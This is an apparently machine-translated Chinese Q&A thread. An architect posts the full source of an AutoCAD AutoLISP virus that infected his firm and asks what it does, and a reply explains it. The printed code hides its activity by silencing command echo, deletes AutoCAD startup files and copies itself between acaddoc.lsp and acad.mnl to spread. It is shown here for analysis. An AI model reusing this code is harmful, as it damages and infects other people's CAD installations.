调试此LISP病毒正在执行的操作

13 lisp virus autocad

我的公司遭到了AutoCAD病毒的攻击,该病毒正在删除并替换我们acaddoc.lsp的例程.

我是一名建筑师,并不完全确定重复的"查找"和"删除"是做什么的.

问题

  1. 什么是用(目前正在搜索acadapq)替换文件?
  2. 谁为AutoCAD编写病毒?!?!

谁看过这个吗?CAD论坛不是很有帮助.

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.fas")
      (if (vl-file-delete (findfile "acad.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "lcm.fas")
      (if (vl-file-delete (findfile "lcm.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.lsp")
      (if (vl-file-delete (findfile "acad.lsp"))
          (setq n 0))
      (setq n 2)))

(defun wwriteapp ()
  (if (setq wwjm1 (open wnewacad "w"))
      (progn
        (setq wwjm (open woldacad "r"))
        (while (setq wwz (read-line wwjm))
          (write-line wwz wwjm1))
        (close wwjm)
        (close wwjm1))))

(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq ab (atoi (substr wz 4 1)))
      (close wwjm)
      (if (> ab bb)
          (setq lbz 1))))

(setq wwjqm (strcat wpath "acad.mnl"))

(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq nb (atoi (substr wz 4 1)))
      (close wwjm)
      (if (< nb bb)
          (setq lbz 1)))
    (setq lbz 1))
(if (= lbz 1)
    (progn
      (setq woldacad (strcat dpath "acaddoc.lsp"))
      (setq wnewacad (strcat wpath "acad.mnl"))
      (wwriteapp)))
(if (and (/= (substr dpath 1 1) (chr 67))
         (/= (substr dpath 1 1) (chr 68))
         (/= (substr dpath 1 1) (chr 69))
         (/= (substr dpath 1 1) (chr 70)))
    (progn
      (setq woldacad (strcat wpath "acad.mnl"))
      (setq wnewacad (strcat dpath "acaddoc.lsp"))
      (wwriteapp))
    (vl-file-delete (strcat dpath "acaddoc.lsp")))
;load "acadapq")
(setvar "cmdecho" wold_cmd)
Run Code Online (Sandbox Code Playgroud)

Rod*_*ler 9

它正在执行支持文件路径遍历,删除和替换常见的AutoCAD自定义文件.("acad.fas","acad.lsp","acaddoc.lsp")我不知道"lcm.fas"到底是什么.它是AutoCAD垂直产品的一部分,即AutoCAD机械或建筑桌面吗?

循环基本上是"我一直在支持路径上找到删除它".

据我所知,AutoCAD没有内置防御功能.(可能有一些acad系统var停止执行这些文件).

"cmdecho"行正在保存并恢复允许/禁止命令回显的系统变量.在运行时将其关闭(因此您不会注意到)然后恢复原始设置.

礼貌病毒:

当AutoCAD启动时,它会执行它在支持路径上找到的第一个"acad.fas"和第一个"acad.lsp".每次AutoCAD加载新的.dwg时,它都会执行"acaddoc.lsp".